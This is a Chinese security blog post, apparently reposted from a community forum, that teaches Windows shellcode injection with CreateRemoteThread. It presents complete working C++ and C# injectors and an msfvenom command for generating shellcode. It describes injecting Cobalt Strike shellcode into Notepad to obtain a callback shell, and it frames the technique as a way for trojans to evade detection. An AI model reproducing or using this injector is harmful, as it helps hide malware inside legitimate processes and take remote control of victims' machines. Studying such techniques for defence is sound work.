初探代码注入

2019-09-12 约 2411 字 预计阅读 5 分钟

声明:本文 【初探代码注入】 由作者 threst 于 2019-09-12 08:42:17 首发 先知社区 曾经 浏览数 127 次

感谢 threst 的辛苦付出!

0x01介绍

最近在看如何执行shellcode的方法,发现了一种叫做代码注入的方式可以使用,查了下资料,技术很久就在用了,但现在还是有很多apt组织在使用,比如APT37,Backdoor.Oldrea,AuditCred,于是学习一下。木马和病毒的好坏很大程度上取决于它的隐蔽性,木马和病毒本质上也是在执行程序代码,如果采用独立进程的方式需要考虑隐藏进程否则很容易被发现,在编写这类程序的时候可以考虑将代码注入到其他进程中,而进程注入是一种在单独的进程的地址空间中执行任意代码的方法。本文将介绍代码注入的原理以及如何使用。

0x02常见函数

为了实现代码注入,微软提供了一个邪恶的函数CreateRemoteThread,想要执行用户代码,在Windows中最常见的就是使用回调的方式,Windows采用的是事件驱动的方式,只要发生了某些事件就会调用回调,在众多使用回调的场景中,线程的回调是最简单的,它不会干扰到目标进程的正常执行,也就不用考虑最后还原EIP的问题。最常见的就是使用CreateRemoteThread创建一个远程线程。

OpenProcess

要对进程执行内存操作,我们必须能够访问它。可以通过使用OpenProcess函数获得

HANDLE OpenProcess(
  DWORD dwDesiredAccess,//对进程对象的请求访问权限
  BOOL  bInheritHandle,//布尔值,指示此进程创建的进程是否将继承此句柄。
  DWORD dwProcessId//这是受害者进程的进程标识符
);

VirtualAllocEx

一旦我们获得受害者进程的句柄,我们继续为受害者进程内存中的shellcode分配空间。这是通过使用VirtualAllocEx 调用完成的。

LPVOID VirtualAllocEx(
  HANDLE hProcess,//我们想要分配内存的进程
  LPVOID lpAddress,//受害者进程内存中指定地址的指针
  SIZE_T dwSize,//分配的内存区域的大小
  DWORD  flAllocationType,//指定要分配的内存类型
  DWORD  flProtect//它指定分配的内存保护,我们将其设置为PAGE_EXECUTE_READWRITE。
);

WriteProcessMemory

WriteProcessMemory是一个将数据写入指定进程的内存区域的函数。需要注意的是整个内存区域必须是可写的,否则会失败,所以我们将内存分配为可写,并与可读和可执行文件一起分配。

BOOL WriteProcessMemory(
  HANDLE  hProcess,//我们想要写入数据的进程
  LPVOID  lpBaseAddress,//我们想要写入数据的地址
  LPCVOID lpBuffer,//指向必须写入的数据的指针
  SIZE_T  nSize,//写入的数据量
  SIZE_T  *lpNumberOfBytesWritten//指向SIZE_T的指针,它将存储写入该目标的字节数。
);

CreateRemoteThread

CreateRemoteThread是一个用于创建在另一个进程的虚拟空间中运行的线程的函数。

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,// 目标进程句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,// 安全属性
  SIZE_T                 dwStackSize, // 进程堆栈大小
  LPTHREAD_START_ROUTINE lpStartAddress,  // 进程函数
  LPVOID                 lpParameter, // 进程参数
  DWORD                  dwCreationFlags, // 创建标志
  LPDWORD                lpThreadId // 参数返回ID
);

0x03大概流程

通过CreateRemoteThread API 实现代码注入

  1. 选择一个受害者进程。
  2. 使用OpenProcess函数获取对进程的访问权限,以便能够执行所需的操作。
  3. 使用VirtualAllocEx函数在进程空间中分配内存。
  4. shellcode写入VirtualAllocEx分配的内存位置。
  5. 调用CreateRemoteThread

0x04 写代码

有了思路,就是写代码了,参考大佬的代码

VOID injectShellcode(DWORD dwPID) {

    BOOL    bWriteSuccess;
    DWORD   dwThreadId;
    HANDLE  hProcess;
    HANDLE  hRemoteThread;
    SIZE_T  numBytes;
    SIZE_T  payloadSize;
    LPVOID  lpRemoteMem;


    cout << "\t[*]获取进程PID : " << dwPID << endl;

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);

    if (hProcess == INVALID_HANDLE_VALUE)
    {
        cerr << "\t\t[!]获取远程进程的句柄失败" << endl;
        return;
    }

    cout << hex;
    cout << "\t\t[+] 进程句柄 : 0x" << hProcess << endl;

    lpRemoteMem = nullptr;

    cout << "\t[*] 为shellcode分配内存" << endl;

    lpRemoteMem = VirtualAllocEx(hProcess, nullptr, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (!lpRemoteMem)
    {
        cerr << "\t\t[!] 远程进程中分配内存失败." << endl;
        CloseHandle(hProcess);

        return;
    }

    cout << "\t\t[+] 分配内存 : 0x" << lpRemoteMem << endl;

    cout << "\t[*] 尝试将shellcode写入进程" << endl;

    payloadSize = sizeof(popCalc64);

    bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, popCalc64, payloadSize, &numBytes);

    if (!bWriteSuccess)
    {
        cerr << "\t\t[!] shellcode写入失败. ";// " << numBytes << " bytes instead of " << payloadSize << " bytes." << endl;

        CloseHandle(hProcess);
        return;
    }

    cout << "\t\t[+] 尝试将shellcode写入进程." << endl;

    cout << "\t[*] 创建一个新线程来执行shellcode." << endl;

    hRemoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpRemoteMem, nullptr, 0, &dwThreadId);

    if (!hRemoteThread)
    {
        cerr << "\t\t[!] 创建新线程失败." << endl;

        CloseHandle(hProcess);
        return;
    }

    cout << "\t\t[+] 进程创建成功: 0x" << dwThreadId << endl;

    WaitForSingleObject(hRemoteThread, INFINITE);

    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
}

0x05演示

好了,既然我们已经有了思路,也有方法了,就差实践了,那就弹个计算器试试

msfvenom -p windows/x64/exec CMD=calc -b "\x00" -f c

用msf生成shellcode

这里输入的PID是记事本的PID,可以看到成功打开计算器

shell

弹出计算器还远远达不到我们的要求,只有shell才是我最终的目的,这里使用cs自带的shellcode来演示,执行代码,输入记事本的PID

成功将shellcode注入记事本中,上线

0x06 最后

我们从开始原理到最后实现上线,基本知道了代码注入是啥,小弟也是第一次研究这个,有什么错误还请各位师傅指出!

另外附上c#版本代码

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Diagnostics;


[DllImport("Kernel32", SetLastError = true)]
        static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

        [DllImport("Kernel32", SetLastError = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);

        [DllImport("Kernel32", SetLastError = true)]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId);

        [DllImport("Kernel32", SetLastError = true)]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("Kernel32", SetLastError = true)]
        static extern bool CloseHandle(IntPtr hObject);

        //http://www.pinvoke.net/default.aspx/kernel32/OpenProcess.html
        public enum ProcessAccessRights
        {
            All = 0x001F0FFF,
            Terminate = 0x00000001,
            CreateThread = 0x00000002,
            VirtualMemoryOperation = 0x00000008,
            VirtualMemoryRead = 0x00000010,
            VirtualMemoryWrite = 0x00000020,
            DuplicateHandle = 0x00000040,
            CreateProcess = 0x000000080,
            SetQuota = 0x00000100,
            SetInformation = 0x00000200,
            QueryInformation = 0x00000400,
            QueryLimitedInformation = 0x00001000,
            Synchronize = 0x00100000
        }

        //https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
        public enum MemAllocation
        {
            MEM_COMMIT = 0x00001000,
            MEM_RESERVE = 0x00002000,
            MEM_RESET = 0x00080000,
            MEM_RESET_UNDO = 0x1000000,
        }

        //https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
        public enum MemProtect
        {
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_TARGETS_INVALID = 0x40000000,
            PAGE_TARGETS_NO_UPDATE = 0x40000000,
        }


public static void CodeInject(int pid, byte[] buf)
        {
            try
            {
                uint lpNumberOfBytesWritten = 0;
                uint lpThreadId = 0;
                Console.WriteLine($"[+] Obtaining the handle for the process id {pid}.");
                IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid);
                Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}.");
                Console.WriteLine($"[+] Allocating memory to inject the shellcode.");
                IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
                Console.WriteLine($"[+] Memory for injecting shellcode allocated at 0x{rMemAddress}.");
                Console.WriteLine($"[+] Writing the shellcode at the allocated memory location.");
                if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten))
                {
                    Console.WriteLine($"[+] Shellcode written in the process memory.");
                    Console.WriteLine($"[+] Creating remote thread to execute the shellcode.");
                    IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId);
                    bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread);
                    Console.WriteLine($"[+] Sucessfully injected the shellcode into the memory of the process id {pid}.");
                }
                else
                {
                    Console.WriteLine($"[+] Failed to inject the shellcode into the memory of the process id {pid}.");
                }
                //WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
                bool hOpenProcessClose = CloseHandle(pHandle);
            }
            catch (Exception ex)
            {
                Console.WriteLine("[+] " + Marshal.GetExceptionCode());
                Console.WriteLine(ex.Message);
            }
        }

参考:

https://attack.mitre.org/techniques/T1055/

https://bbs.pediy.com/thread-119091.htm

https://pwnrip.com/demystifying-code-injection-techniques-part-1-shellcode-injection/

https://blog.csdn.net/lanuage/article/details/82561106

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now